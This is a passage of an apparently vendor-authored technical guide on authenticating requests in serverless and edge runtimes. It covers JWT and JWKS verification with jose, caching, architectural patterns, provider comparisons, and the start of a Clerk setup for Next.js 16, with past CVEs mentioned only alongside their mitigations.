Many "Node-first" auth libraries fail on V8-isolate runtimes because they depend on APIs that do not exist in Web Standards environments.

- `jsonwebtoken` uses Node's `crypto` module; CF Workers require Web Crypto (`crypto.subtle`) unless `nodejs_compat` is enabled.
- `bcrypt` ships a native binary; it will not run in a V8 isolate.
- `firebase-admin` uses TCP sockets and Node.js-only APIs; it is not edge-compatible. Community library `next-firebase-auth-edge` fills the gap by reimplementing token verification with Web Crypto ([next-firebase-auth-edge](https://github.com/awinogrodzki/next-firebase-auth-edge)).
- `pg` (node-postgres) opens raw TCP connections; not available on CF Workers or Netlify Edge.
- Most Passport strategies expect Express-shaped middleware and the Node `http` module; porting to Web Fetch handlers is non-trivial.

Bundle limits also matter. A Vercel Edge Runtime function is capped at 1MB gzipped on Hobby, 4MB on Enterprise ([Vercel Edge Runtime](https://vercel.com/docs/functions/runtimes/edge)). Cloudflare Workers allow 3MB Free / 10MB Paid compressed ([Cloudflare Workers limits](https://developers.cloudflare.com/workers/platform/limits/)). Both numbers will push you toward small, Web-Standards-first SDKs.

> \[!TIP]
> `jose` ([github.com/panva/jose](https://github.com/panva/jose)) is the universal Web-Crypto-first fallback — it runs in Node.js, Bun, Deno, Cloudflare Workers, and browsers with zero external dependencies and a tree-shakeable ESM build. If a vendor SDK will not run in your runtime, `jose` can verify the same JWTs as long as you know the issuer's JWKS URL.

## Core Concepts for Serverless and Edge Authentication

### Stateless authentication with JWTs

A JWT is three base64url-encoded segments joined by dots: `header.payload.signature`. The header declares the signing algorithm and key ID (`kid`); the payload carries the [claims](/glossary/claim) about the subject and the token itself; the signature is computed over `base64url(header).base64url(payload)` using the algorithm from the header.

Stateless tokens fit ephemeral compute because verification only needs the issuer's public key — no server-side session record is required. Any invocation of any function can verify any token without sharing memory.

The tokens you usually encounter split into three roles:

- **[Access tokens](/glossary/access-token)**: short-lived (15–60 minutes typical; Clerk session tokens are 60 seconds), sent on every API request, proving the caller's identity and scopes.
- **[Refresh tokens](/glossary/refresh-token)**: long-lived, used to mint new access tokens without re-authentication.
- **Session tokens**: in some providers, the same short-lived JWT is used both as an access token and to drive session refresh (Clerk's `__session` cookie is this shape).

The relevant specs are [RFC 7519 (JWT)](https://datatracker.ietf.org/doc/html/rfc7519), [RFC 9068 (JWT Profile for OAuth 2.0 Access Tokens)](https://datatracker.ietf.org/doc/html/rfc9068), and the [OpenID Connect Core 1.0 spec](https://openid.net/specs/openid-connect-core-1_0.html) for ID tokens.

> \[!CAUTION]
> The `alg` field in the JWT header tells the verifier which algorithm to use. Accepting `alg: none` or accepting whatever the header claims without an explicit allow-list is the source of multiple historical CVEs (CVE-2015-9235 `jsonwebtoken` algorithm confusion; CVE-2022-23529). Always verify with an explicit algorithm allow-list.

### JWT verification with JWKS

A **JSON Web Key Set (JWKS)** is a JSON document of the shape `{ "keys": [...] }` where each entry is a public key with fields like `kty` (key type), `kid` (key ID), `use`, `alg`, and the key material itself ([RFC 7517](https://datatracker.ietf.org/doc/html/rfc7517)). Providers publish JWKS at a well-known URL — conventionally the issuer URL followed by the path `/.well-known/jwks.json` — discoverable via the OIDC [Discovery Document](/glossary/discovery-document-oidc).

Verifying a JWT against a JWKS follows this flow:

1. Parse the header and read the `kid`.
2. Fetch the JWKS (or read it from cache) and find the key with the matching `kid`.
3. Verify the signature using the algorithm in the header, checked against your allow-list.
4. Validate the required claims: `iss` (issuer), `aud` (audience), `exp` (expiry), `nbf` (not-before), `azp` (authorized party, when applicable), and any custom claims the app cares about.
5. Allow a small clock skew — 5 to 30 seconds is typical ([Curity JWT best practices](https://curity.io/resources/learn/jwt-best-practices/)).

Asymmetric algorithms (RS256, ES256, EdDSA) beat HS256 for multi-service verification because every service can have the public key without sharing a secret. EdDSA and ES256 produce smaller signatures than RSA-2048, and EdDSA signing is dramatically faster — Connect2id's Nimbus JOSE+JWT 6.0 benchmark measured Ed25519 signing at roughly 62x RSA-2048 throughput (14,635 vs. 236 ops/sec), though RSA-2048 verification is comparable or slightly faster than Ed25519 on the same benchmark ([Connect2id Nimbus JOSE+JWT 6.0 benchmark](https://connect2id.com/blog/nimbus-jose-jwt-6)). For edge and serverless systems, **verification** is the hot path — the signing advantage matters mainly when a worker mints its own tokens ([WorkOS HMAC vs RSA vs ECDSA](https://workos.com/blog/hmac-vs-rsa-vs-ecdsa-which-algorithm-should-you-use-to-sign-jwts) for qualitative comparisons).

A portable, Web-Crypto-native verifier looks like this:

```ts
import { createRemoteJWKSet, jwtVerify } from 'jose'

const JWKS = createRemoteJWKSet(new URL('https://your-issuer.example.com/.well-known/jwks.json'))

export async function verify(token: string) {
  const { payload } = await jwtVerify(token, JWKS, {
    issuer: 'https://your-issuer.example.com',
    audience: 'your-app-audience',
    algorithms: ['RS256', 'ES256'],
    clockTolerance: '30s',
  })
  return payload
}
```

That block runs unchanged in Node.js, Bun, Deno, and Cloudflare Workers. `createRemoteJWKSet()` caches the JWKS automatically and refreshes it on `kid` miss ([jose GitHub](https://github.com/panva/jose)).

### JWKS caching at the edge

Fetching the JWKS on every request adds a network round-trip before verification can even start. A community benchmark places cold JWKS fetches at 15–25ms on Vercel Edge ([SSOJet JWT at the edge](https://ssojet.com/blog/how-to-validate-jwts-efficiently-at-the-edge-with-cloudflare-workers-and-vercel)); treat that as illustrative of the shape, not a universal number. The fix is layered caching.

- **Per-isolate in-memory (LRU)**. Free, fastest, warm-only. `jose`'s `createRemoteJWKSet()` does this by default.
- **Shared KV**. Cloudflare KV, Upstash, or Redis shared across isolates. Cloudflare's post-October-2025 rearchitecture documents hot-key KV reads `<1ms` and p99 `<5ms` ([Cloudflare KV performance](https://blog.cloudflare.com/faster-workers-kv/)).
- **Background refresh**. Refresh the cache before the TTL expires to avoid a thundering herd at rollover.

Handling JWKS rotation gracefully means publishing the new key before using it: pre-publish → wait at least the cache TTL → switch signing to the new key → retire the old key ([WorkOS JWKS developer guide](https://workos.com/blog/developers-guide-jwks), [Zalando automated JWK rotation](https://engineering.zalando.com/posts/2025/01/automated-json-web-key-rotation.html)).

A NearForm benchmark on RS256 verification with an LRU cache measured a jump from 13,781 to 150,700 ops/sec (+993%) once public keys were cached ([NearForm JWT performance in Node.js](https://nearform.com/insights/improve-json-web-tokens-performance-in-node-js/)). Cite this as an independent Node.js benchmark that illustrates the magnitude of the caching win, not a universal figure.

> \[!TIP]
> Cap JWKS refresh at a 5–10 minute minimum even on cache misses. A naive "refetch whenever a `kid` is missing" strategy turns a key-rotation event into an accidental DoS on the issuer.

### Session vs. token-based approaches

Cookie-based [sessions](/glossary/session) still work inside a single trust domain on a single platform, particularly when the full request path runs under one Node.js deployment. They struggle at the edge when:

- The verification path cannot be edge-compatible (e.g., the session store is a Postgres DB reachable only over TCP).
- Requests span multiple origins or runtimes, so cookies do not automatically flow.

Short-lived JWTs are a better fit when:

- Multiple runtimes verify tokens from the same issuer (Node.js API + CF Workers edge + mobile clients).
- The latency budget is low enough that a DB round-trip per request is unacceptable.

A common **hybrid** model uses a long-lived server-side session record at origin and a short-lived JWT for edge verification. Clerk implements exactly this: `__client` is a long-lived identity cookie on Clerk's Frontend API domain, and `__session` is a 60-second JWT scoped to the app domain ([How Clerk works](https://clerk.com/docs/guides/how-clerk-works/overview), [Clerk session tokens reference](https://clerk.com/docs/guides/sessions/session-tokens)). The edge verifies the short JWT; the origin can still enforce instant revocation by refusing to mint new session tokens when the server-side client record is revoked.

Cookie flags checklist for any session cookie at the edge:

- `Secure` — send only over HTTPS.
- `SameSite=Lax` as default (browsers apply this already). `SameSite=None` requires `Secure` and is necessary for cross-origin flows.
- `HttpOnly` where feasible (prevents JS access; see §8.8 for Clerk's `__session` exception).
- `Domain` — scope to the narrowest domain that still works; widening to `.example.com` expands XSS blast radius.
- `Path` — default `/` unless you specifically need a narrower path.

### Machine-to-machine and service identity

Service-to-service calls (a background worker talking to an internal API; a CF Worker calling a Lambda) need identity too. The canonical pattern is the OAuth 2.0 [client credentials flow](/glossary/client-credentials-flow) (RFC 6749 §4.4) — a service proves its identity with a client ID and secret and receives a short-lived access token scoped to its permissions ([RFC 6749](https://datatracker.ietf.org/doc/html/rfc6749), [RFC 9700 OAuth 2.0 Security BCP](https://datatracker.ietf.org/doc/rfc9700/)).

Design choices that matter more than the grant type:

- **Asymmetric signed tokens** (RS256 / ES256 / EdDSA) beat shared secrets for multi-service verification. Any service can verify with the public key.
- **Short expirations** — 15 minutes or less — reduce the blast radius of a leaked token.
- **Scopes** restrict what the token can do. The default should be the narrowest scope that works.
- **Audit logs** should record service-to-service calls with a stable machine identifier, not just "service X called service Y."

Not every provider implements client credentials as the OAuth 2.0 grant type. Clerk's M2M tokens are a distinct machine-auth product, not an RFC 6749 client credentials grant — covered in depth in §8.6.

## Architectural Patterns for Serverless and Edge Authentication

Every pattern below is an **authentication** pattern — "who is this request?" Authorization ("what can this request do?") is a separate step that always runs after authentication, usually closer to the data. None of these patterns replace an authorization layer; they reduce the cost of answering the authentication half so authorization can run on trusted identity rather than on an unverified token.

### Pattern 1 — Authentication at the edge (middleware)

Verify at the nearest PoP before the request reaches origin functions.

```
client → edge middleware (verify JWT) → origin function → data
```

Typical placements:

- Next.js 16 `proxy.ts` (architectural edge, Node.js runtime).
- Vercel Routing Middleware (runtime edge, still the Edge Runtime; not deprecated) ([Vercel Routing Middleware docs](https://vercel.com/docs/routing-middleware)).
- Cloudflare Workers with `routes` or a front-door Worker.
- Netlify Edge Functions wired as page routes.

This pattern spans **both** runtime families. The pattern shape is the same; the available APIs differ. Code that uses Node-only primitives (`jsonwebtoken`, `node:fs`, `node:net`) runs fine in Next.js `proxy.ts` but breaks on Cloudflare Workers or Netlify Edge. Use Web Crypto + `jose` (or a vendor SDK that runs on V8 isolates) for portable verifier code. See §6.1 and §6.2 for per-runtime constraints.

- **Pros**: single point of auth enforcement; unauthenticated requests are rejected before origin compute runs.
- **Cons**: misconfigurations can bypass auth entirely (CVE-2025-29927); must be paired with per-route verification for defense in depth.
- **Use when**: you have a single trust boundary and want to minimize origin load.

> \[!WARNING]
> CVE-2025-29927 (CVSS 9.1 Critical) allowed self-hosted Next.js apps to skip `middleware.ts` auth checks via the `x-middleware-subrequest` header ([NVD CVE-2025-29927](https://nvd.nist.gov/vuln/detail/CVE-2025-29927), [Datadog Security Labs](https://securitylabs.datadoghq.com/articles/nextjs-middleware-auth-bypass/)). Fixed in 12.3.5, 13.5.9, 14.2.25, 15.2.3. Vercel- and Netlify-hosted apps were not affected because the platforms stripped the header. The mitigation everywhere is: never rely on [middleware](/glossary/middleware) as the sole auth gate — always re-verify in Server Components, Route Handlers, or backend code.

### Pattern 2 — JWT verification inside each function

Every function verifies the token independently.

```
client → function A (verify) → data
client → function B (verify) → data
```

Works for function-per-endpoint architectures (AWS Lambda, Netlify Functions, CF Workers with URL-based routing).

- **Pros**: no single point of failure; each function is self-contained; safer against middleware-bypass classes of bugs.
- **Cons**: duplicated verification logic; risk of drift between functions; each function pays its own cold-start tax.
- **Use when**: functions are heterogeneous or deployed separately; you cannot guarantee a common middleware layer.

### Pattern 3 — Edge verification + origin session (hybrid)

Edge verifies a short-lived JWT; origin loads a rich session for Server Components or complex business logic.

```
client → edge (verify JWT) → origin (load session → render) → data
```

- **Pros**: low-latency rejection at the edge plus a rich origin state model; instant revocation via the origin session record.
- **Cons**: more moving parts; session sync concerns between edge and origin.
- **Use when**: you need both geographic distribution and a rich server-side state that would not fit in claims.

### Pattern 4 — Centralized auth gateway

A dedicated edge-hosted auth service issues and verifies tokens for other services — often implemented as a Backend-for-Frontend (BFF), an API gateway like Kong or Envoy, or a service mesh control plane.

```
client → gateway (verify, mint downstream token) → service A
                                                 → service B
```

- **Pros**: clean separation of concerns; a single place to update auth logic; easier to enforce consistent policies.
- **Cons**: additional hop; gateway itself has to scale; introduces a trust boundary that downstream services must respect.
- **Use when**: you have multiple backend services with mixed runtime targets and want a uniform identity story.

See [microservices.io — Auth in Microservices Part 1 (BFF)](https://microservices.io/post/architecture/2025/04/25/microservices-authn-authz-part-1-introduction.html).

### Pattern 5 — Signed request headers for service-to-service auth

JWT or signed tokens passed between internal services via the `Authorization: Bearer <token>` header. The edge can act as both verifier and forwarder, propagating a user or service identity downstream.

```
client → edge (verify) → forward Authorization header → service A → service B
```

- **Pros**: simple; works with any HTTP service mesh; tokens are cacheable.
- **Cons**: token size on every request; a service mesh with sidecars is often a better fit at larger scale.
- **Use when**: internal microservices need zero-trust identity propagation without a full mesh.

See [microservices.io — JWT Authorization](https://microservices.io/post/architecture/2025/07/22/microservices-authn-authz-part-3-jwt-authorization.html), [Frontegg authentication in microservices](https://frontegg.com/blog/authentication-in-microservices), and [Oso microservices authorization patterns](https://www.osohq.com/post/microservices-authorization-patterns).

### Choosing a pattern — decision factors

Four factors drive the choice:

- **Runtime target** — Node serverless, V8 isolate edge, or both.
- **State auth needs to carry** — a few claims (JWT-only is enough) vs. rich session data (need origin state).
- **Latency budget per request** — every network round-trip has to be justified.
- **Client heterogeneity** — single web app vs. web + mobile + internal services.

A short decision sketch:

- Primarily Node.js and a single Next.js 16 app → **Pattern 1 with `proxy.ts`**, re-verifying in Server Components/Route Handlers.
- Mixed runtimes, including Cloudflare Workers or Netlify Edge → **Pattern 3 (hybrid)** — edge verifies, origin keeps rich state.
- Microservices across many backends → **Patterns 4 + 5** — a gateway verifies, downstream services consume forwarded identity.
- Function-per-endpoint on AWS Lambda with no consistent front door → **Pattern 2**, with a shared verifier library to avoid drift.

## Solution Options for Serverless and Edge Authentication

For each option: what it is in one sentence, edge/V8-isolate compatibility, strengths, and limits. Deep Clerk coverage lives in §8.

### Rolling your own JWT verification

Roll your own means wiring a library like `jose` against an identity provider you operate (or against your own issuer). The [jose library](https://github.com/panva/jose) is the de facto Web-Crypto-first choice — it runs in Node.js, Bun, Deno, Cloudflare Workers, and browsers with zero external dependencies.

- **What you still have to build**: sign-up/sign-in UI, password reset, [MFA](/glossary/multi-factor-authentication-mfa), [organizations](/glossary/organizations) and [RBAC](/glossary/role-based-access-control-rbac), device management, key rotation, CVE tracking, refresh token rotation, JWKS caching, and secret rotation.
- **Maintenance burden**: every CVE in the auth space becomes your problem to track and mitigate.
- **Use when**: a very narrow API-only scope with no user UI and an existing IdP you trust.

### AWS Cognito

Managed AWS service; JWKS-based verification works at the edge via the `aws-jwt-verify` library. The official pattern for CloudFront + Lambda\@Edge is documented in the [Authorization@Edge blog post](https://aws.amazon.com/blogs/networking-and-content-delivery/authorizationedge-how-to-use-lambdaedge-and-json-web-tokens-to-enhance-web-application-security/).

- **Strengths**: AWS-native integrations; scale; official guidance for CloudFront + Lambda\@Edge.
- **Limits**: UX customization is limited; token claim shape is opinionated; multi-cloud friction.

### Auth0

Enterprise-grade IdP with JWKS-based verification.

- The Next.js SDK requires the `/edge` subpath for middleware; `getSession()` only works in Node.js runtime ([auth0/nextjs-auth0](https://github.com/auth0/nextjs-auth0)).
- **Strengths**: SSO, enterprise features, mature Actions/Rules ecosystem.
- **Limits**: per-MAU pricing. In November 2023, Auth0's pricing restructure raised B2C Essentials entry from $23/mo for 1,000 MAU to $35/mo for 500 MAU and raised the per-MAU overage from $0.023 to $0.07 (\~3x) ([Auth0 pricing change announcement](https://auth0.com/blog/upcoming-pricing-changes-for-the-customer-identity-cloud/), [Auth0 pricing](https://auth0.com/pricing)). Confirm current tiers against the live Auth0 pricing page before sizing cost.

### Supabase Auth

JWT-based, easily verifiable at the edge. Supabase Auth migrated to asymmetric keys (RS256/ECC/Ed25519) in May 2025, so edge verification no longer requires sharing a symmetric secret ([Supabase Auth JWTs docs](https://supabase.com/docs/guides/auth/jwts)).

- **Strengths**: bundled with Postgres + storage; simple flows; `getClaims()` works in Deno Edge Functions.
- **Limits**: tightly coupled to the Supabase backend; fewer enterprise features than Auth0 or Cognito.

### Firebase Authentication

Token verification via Google's public keys.

- `firebase-admin` is not edge-compatible; the community library `next-firebase-auth-edge` reimplements token creation/verification with Web Crypto for Next.js 16 and Node.js 24+ ([next-firebase-auth-edge GitHub](https://github.com/awinogrodzki/next-firebase-auth-edge)).
- **Strengths**: mobile-first; generous free tier (Spark: 50K MAU free for email/social; confirm current tiers on the [Firebase pricing page](https://firebase.google.com/pricing) before sizing cost).
- **Limits**: Google-hosted identity model; custom claim flexibility requires the Admin SDK; phone auth is billed per SMS.

### Clerk (preview only)

Covered in depth in §8. Differentiators surfaced here:

- Edge-ready SDKs for Next.js, Cloudflare Workers, Hono, React Router (formerly Remix), Expo.
- Networkless verification via `jwtKey` — no JWKS round-trip per request once the PEM public key is configured.
- Managed JWKS and automatic key rotation; consumers never run their own rotation schedule.
- Built-in UI, organizations, MFA, passkeys, and M2M tokens.

## Platform-Specific Considerations

### Vercel (Next.js 16 + Vercel Functions)

**Next.js 16 `proxy.ts` runs exclusively on Node.js.** The runtime is not configurable and `proxy.ts` does not support the Route Segment Config `runtime` option — setting `export const runtime = 'edge'` in `proxy.ts` throws a build-time error ([Next.js `proxy.ts` reference](https://nextjs.org/docs/app/api-reference/file-conventions/proxy), [Next.js 16 release blog](https://nextjs.org/blog/next-16)).

**Vercel Edge Runtime is still documented and functional but Vercel recommends migrating new work to Node.js.** The current Vercel Edge Runtime docs display an explicit warning recommending migration to Node.js for improved performance and reliability, and note that both runtimes now run on Fluid Compute with identical Active CPU pricing ([Vercel Edge Runtime](https://vercel.com/docs/functions/runtimes/edge), [Vercel Edge Functions deprecated](https://vercel.com/docs/functions/runtimes/edge/edge-functions)). "Still documented, but Vercel steers new work toward Node.js" is the accurate framing.

**Vercel Routing Middleware** (platform-layer, distinct from `proxy.ts`) still uses the Edge runtime and is not deprecated ([Vercel Routing Middleware docs](https://vercel.com/docs/routing-middleware), [Vercel changelog unification](https://vercel.com/changelog/edge-middleware-and-edge-functions-are-now-powered-by-vercel-functions)).

**Fluid Compute** (many-to-one instance sharing) and Active CPU pricing are the architectural reason Vercel consolidated Edge Functions and Node.js Functions onto one runtime + pricing model ([Introducing Fluid Compute](https://vercel.com/blog/introducing-fluid-compute), [How Fluid Compute Works](https://vercel.com/blog/how-fluid-compute-works-on-vercel), [Vercel Active CPU pricing](https://vercel.com/blog/introducing-active-cpu-pricing-for-fluid-compute)).

Node runtime bundle limit is 250MB; memory up to 4GB; max duration 300–800s ([Vercel Functions limitations](https://vercel.com/docs/functions/limitations)).

> \[!IMPORTANT]
> For new Next.js 16 route handlers, omit the `runtime` config (defaults to Node.js) or set it explicitly to `'nodejs'`. Vercel still documents the Edge runtime but recommends migrating new work to Node.js. There is no benefit to opting into the Edge runtime for a Next.js 16 route handler that also has to run alongside a Node.js-only `proxy.ts`.

### Cloudflare Workers (primary V8-isolate example)

Cloudflare Workers run in V8 isolates with Web Crypto. CPU-time limits are Free 10ms, Paid 5 min ([Cloudflare Workers platform limits](https://developers.cloudflare.com/workers/platform/limits/)).

- **Worker Sharding** — Cloudflare reports approximately 90% reduction in evictions with sharding; Workers start in under 5ms ([ByteByteGo — How Cloudflare eliminates cold starts](https://blog.bytebytego.com/p/how-cloudflare-eliminates-cold-starts)).
- **KV for shared JWKS/user cache** — hot key reads `<1ms` in-memory; p99 `<5ms` after the October 2025 rearchitecture ([Cloudflare KV performance](https://blog.cloudflare.com/faster-workers-kv/)).
- **Durable Objects** — single-instance pinning for rate limiting or strongly consistent session state ([Durable Objects](https://developers.cloudflare.com/durable-objects/)).
- **`nodejs_compat` flag** — compat date 2024-09-23+ enables Node-style `crypto`, `Buffer`, `fs`, HTTP, and Streams. Many "Node-first" libraries still fail for other reasons (TCP sockets, child processes), but basic crypto gaps close ([Cloudflare Workers Node.js compat](https://developers.cloudflare.com/workers/runtime-apis/nodejs/)).
- **[Hono](https://hono.dev/docs/getting-started/cloudflare-workers)** is a common Workers framework with an official [Clerk middleware](https://github.com/honojs/middleware/tree/main/packages/clerk-auth) package (`@hono/clerk-auth`).

### AWS Lambda and Lambda\@Edge

- Cold starts: Node.js 22 arm64 p50 \~294ms optimized; p99 in the 500–700ms range ([Node.js 22 Lambda benchmarks](https://speedrun.nobackspacecrew.com/blog/2025/07/21/the-fastest-node-22-lambda-coldstart-configuration.html), [edgedelta AWS Lambda cold start costs](https://edgedelta.com/company/knowledge-center/aws-lambda-cold-start-cost)).
- **Provisioned Concurrency** eliminates cold starts but adds fixed cost.
- **Lambda\@Edge restrictions**: must deploy in us-east-1; no ARM64; no layers; no VPC; viewer request truncated at 40KB; CloudFront Functions cannot do RS256 signature verification ([AWS Lambda@Edge restrictions](https://docs.aws.amazon.com/AmazonCloudFront/latest/DeveloperGuide/lambda-at-edge-function-restrictions.html)).
- **API Gateway JWT authorizer** (native, no Lambda invocation) vs. **Lambda authorizer** (REQUEST- or TOKEN-based, cacheable, custom logic) ([API Gateway JWT authorizer](https://docs.aws.amazon.com/apigateway/latest/developerguide/http-api-jwt-authorizer.html), [Lambda authorizer](https://docs.aws.amazon.com/apigateway/latest/developerguide/apigateway-use-lambda-authorizer.html)).
- **SnapStart** was expanded to Python and .NET at re:Invent 2025; Node.js is not yet supported ([AWS Lambda SnapStart docs](https://docs.aws.amazon.com/lambda/latest/dg/snapstart.html)).

### Netlify Edge Functions

- Deno-based; 20MB compressed bundle; 512MB memory; 50ms CPU per request; 40s response header timeout ([Netlify Edge Functions overview](https://docs.netlify.com/build/edge-functions/overview/), [Netlify Edge limits](https://docs.netlify.com/build/edge-functions/limits/)).
- Web Crypto and `node:` prefix modules are supported.
- No cross-subdomain cookies on `.netlify.app` domains.
- Note: Netlify doesn't publish an official Clerk + Edge Functions integration; the documented Clerk + Netlify path is SPA/React client-side only ([Netlify Clerk integration page](https://www.netlify.com/integrations/clerk/)).

### Deno Deploy and Bun

- **Deno Deploy**: 35+ global PoPs; \~3ms cold start; 10ms p50; 38ms p99; Deno KV for distributed state; can also act as an OIDC provider ([Deno Deploy](https://deno.com/deploy), [Deno Deploy as OIDC Provider](https://docs.deno.com/deploy/reference/oidc/)).
- **Deno + JWT via Web Crypto**: `djwt` native library or `jose` npm; both use `SubtleCrypto` for RS256 ([Deno JWT with Web Crypto](https://docs.deno.com/examples/creating_and_verifying_jwt/)).
- **Bun**: not an edge runtime. Public beta as a Vercel Node runtime option ([Vercel Bun runtime docs](https://vercel.com/docs/functions/runtimes/bun)); Vercel reports approximately 28% latency reduction for CPU-bound Next.js rendering vs. Node.js ([Vercel Bun public beta](https://vercel.com/changelog/bun-runtime-now-in-public-beta-for-vercel-functions)).

### Other platforms (brief)

The platforms above cover the article's keyword cluster. Fastly Compute (WASI), Azure Static Web Apps, and Google Cloud Run exist but sit outside this article's scope. If the same "verify a signed token close to the request, re-verify close to the data" principle applies, the patterns in §4 are portable; check each vendor's docs for runtime-specific constraints.

## Authentication in a Monorepo

### Why monorepos complicate auth

- Multiple apps (web, mobile, admin, background workers) share users but may need different flows.
- Shared config drifts: each app installs its own version of an auth SDK if you are not careful.
- Different runtime targets (Node.js, V8 isolate edge, React Native) coexist in the same repo.

### Shared auth configuration strategies

- **Centralize environment variables.** Turborepo's `globalEnv` ensures that auth env vars are part of the cache key and do not leak between tasks that expect different secrets ([Turborepo environment variables](https://turborepo.com/docs/crafting-your-repository/using-environment-variables), [Turborepo configuration reference](https://turborepo.com/docs/reference/configuration)).
- **Centralize type definitions and utility functions** in a shared internal package (e.g., `packages/auth-config`). This is where you keep `AppUser`, `AppSession`, and small helpers that wrap common claim reads.
- **Do not wrap the auth SDK itself.** Each app installs its runtime-appropriate SDK (`@clerk/nextjs`, `@clerk/expo`, `@clerk/backend`). A shared wrapper package tends to collapse runtime differences or force the lowest common denominator.
- **Version and release the shared package** like any other internal library. Consumers update on their own cadence.
- **Pin SDK versions once** via [pnpm Catalogs](https://pnpm.io/catalogs) so every app stays in lockstep on core auth dependencies.

References: [Clerk T3 Turbo blog post](https://clerk.com/blog/clerk-t3-turbo), [Clerk T3 Turbo GitHub](https://github.com/clerk/t3-turbo-and-clerk), [Convex + Turborepo + Clerk monorepo](https://github.com/get-convex/turbo-expo-nextjs-clerk-convex-monorepo).

### Different auth approaches per service

#### Web application

- Cookie-based session + short-lived JWT for edge middleware.
- UI components for sign-in, sign-up, and account management.
- Provider setup at the root (`ClerkProvider`, `SessionProvider`, etc.).

#### Mobile and native API

- [Bearer tokens](/glossary/bearer-token), refresh tokens, device-bound flows.
- [Expo](/glossary/expo) / [React Native](/glossary/react-native): secure token storage via `expo-secure-store` or platform equivalents.
- Native iOS (Swift) and Android (Kotlin) SDKs for production mobile apps.

#### Internal service-to-service

- Machine-to-machine tokens (client credentials or vendor-specific).
- Short-lived, scoped, auditable.
- JWT format for edge workloads (free verification, networkless); opaque format for revocation-sensitive workloads.

#### Edge functions and middleware

- Networkless verification of a short-lived JWT (via a PEM public key baked into env).
- Fallback to JWKS verification for out-of-band or ad-hoc calls.

### Microservices and auth boundaries

Where the auth boundary lives (gateway vs. per-service) depends on whether you trust the gateway-signed identity.

**Authentication vs. authorization (explicit boundary).** Edge/gateway verification answers "is this a valid token for user U?" It does **not** answer "can U perform action A on resource R?" [Authorization](/glossary/authorization) always runs closer to the data, after authentication is complete. Treating the gateway's "checked" flag as permission is how a gateway-bypass bug turns into an authorization hole.

**Safe identity propagation across services.**

- **Forwarding the original JWT** (the access-token pattern) keeps claims verifiable by each downstream service ([Microservices access-token pattern](https://microservices.io/patterns/security/access-token.html), [Building Microservices 2nd Edition](https://samnewman.io/books/building_microservices_2nd_edition/)).
- **Structured headers** (`x-user-id`, `x-org-id`, `x-trace-id`) after edge verification are cheaper but require a trusted gateway boundary. Strip these headers at the edge if the request came from outside the trust zone to prevent header spoofing.
- **OpenTelemetry baggage** is good for non-sensitive correlation (tenant ID, request ID) across service hops without embedding PII in trace attributes ([OpenTelemetry context propagation](https://opentelemetry.io/docs/concepts/context-propagation/), [OpenTelemetry baggage](https://opentelemetry.io/docs/concepts/signals/baggage/)).
- **Service-mesh variants** — Istio `RequestAuthentication`, Linkerd mTLS, Consul Connect — push JWT validation and workload identity into the data plane ([Istio RequestAuthentication](https://istio.io/latest/docs/reference/config/security/request_authentication/), [Linkerd automatic mTLS](https://linkerd.io/2-edge/features/automatic-mtls/), [Consul Connect data plane](https://developer.hashicorp.com/consul/docs/architecture/data-plane/connect)).
- **Workload identity**, not user identity, is covered by SPIFFE/SPIRE SVIDs and complements JWT user identity in zero-trust meshes ([SPIFFE/SPIRE overview](https://spiffe.io/docs/latest/spiffe-about/overview/)).

Centralized authorization engines (Oso, OPA, Cerbos) vs. per-service authorization logic is a separate design decision. See [Oso microservices authorization patterns](https://www.osohq.com/post/microservices-authorization-patterns) and [Contentstack monolith → microservices auth](https://www.contentstack.com/blog/tech-talk/from-legacy-systems-to-microservices-transforming-auth-architecture) for worked examples.

### Monorepo pitfalls to avoid

- Mixing two different session formats across apps (e.g., a hand-rolled session on web + Clerk on mobile).
- Inconsistent cookie names, domains, or security flags between apps that share a user base.
- Drifting JWT audience or issuer between apps — verifiers end up rejecting valid tokens.
- Duplicating SDK installations with different versions across apps.

## Implementing Authentication with Clerk

This is the centerpiece. The walkthrough assumes Clerk Core 3 (released March 2026) and Next.js 16, with Cloudflare Workers as the canonical V8-isolate edge target ([Clerk Core 3 release](https://clerk.com/changelog/2026-03-03-core-3)).

### Why Clerk fits serverless and edge

- **Edge-compatible SDKs with unified configuration**. `@clerk/backend` is the canonical SDK for Node.js ≥18.17 and V8 isolates (Cloudflare Workers, Vercel Edge) ([Clerk Backend SDK overview](https://clerk.com/docs/reference/backend/overview), [Clerk Backend-Only SDK guide](https://clerk.com/docs/guides/development/sdk-development/backend-only)). One `CLERK_PUBLISHABLE_KEY` + `CLERK_SECRET_KEY` pair serves every runtime — `@clerk/nextjs` on Node.js, `@clerk/backend` on V8 isolates, `@clerk/expo` on React Native — with no "edge config" vs. "node config" split.
- **Networkless JWT verification**. Configure `jwtKey` with Clerk's PEM public key and verification is zero network round-trips once the key is loaded ([Clerk `verifyToken()` reference](https://clerk.com/docs/reference/backend/verify-token), [Clerk manual JWT verification](https://clerk.com/docs/guides/sessions/manual-jwt-verification)).
- **Managed JWKS and automatic key rotation**. Consumers never run their own rotation schedule.
- **Built-in UI, organizations, MFA, passkeys, and device management**. Building these yourself is typically months of engineering.
- **Typical verification latency**. A community benchmark places warm `jose`-style JWT verify at \~1.8ms on Cloudflare Workers and \~2.3ms on Vercel Edge, versus \~30ms on a traditional Node.js backend ([SSOJet community benchmark](https://ssojet.com/blog/how-to-validate-jwts-efficiently-at-the-edge-with-cloudflare-workers-and-vercel)). Treat these as illustrative, explicitly community-sourced numbers — they illustrate the order of magnitude of the win, not an absolute guarantee. The authoritative backbone is Clerk's own documented behavior: networkless verification via `jwtKey` and a 60-second session TTL.

### Installing and configuring Clerk (Next.js 16)

Required environment variables:

- `CLERK_PUBLISHABLE_KEY` — the [publishable key](/glossary/publishable-key) from the Clerk dashboard.
- `CLERK_SECRET_KEY` — the [secret key](/glossary/secret-key) used for server-to-server calls.
- `CLERK_JWT_KEY` — the PEM public key for networkless session JWT verification (copy from Dashboard → API Keys → PEM Public Key).

Installing:

```bash
pnpm add @clerk/nextjs
```

This article targets Next.js 16, which is where `proxy.ts` is available. `@clerk/nextjs` Core 3 peer dependencies require Next.js 16.0.10+ (or Next.js 15.2.8+ for apps still on the 15.x line using legacy `middleware.ts`) ([@clerk/nextjs on npm](https://www.npmjs.com/package/@clerk/nextjs), [Clerk Core 3 release](https://clerk.com/changelog/2026-03-03-core-3)).

Wrap the app root with `ClerkProvider`:

```tsx
// app/layout.tsx
import { ClerkProvider } from '@clerk/nextjs'

export default function RootLayout({ children }: { children: React.ReactNode }) {
  return (
    <ClerkProvider>
      <html lang="en">
        <body>{children}</body>
      </html>
    </ClerkProvider>
  )
}
```

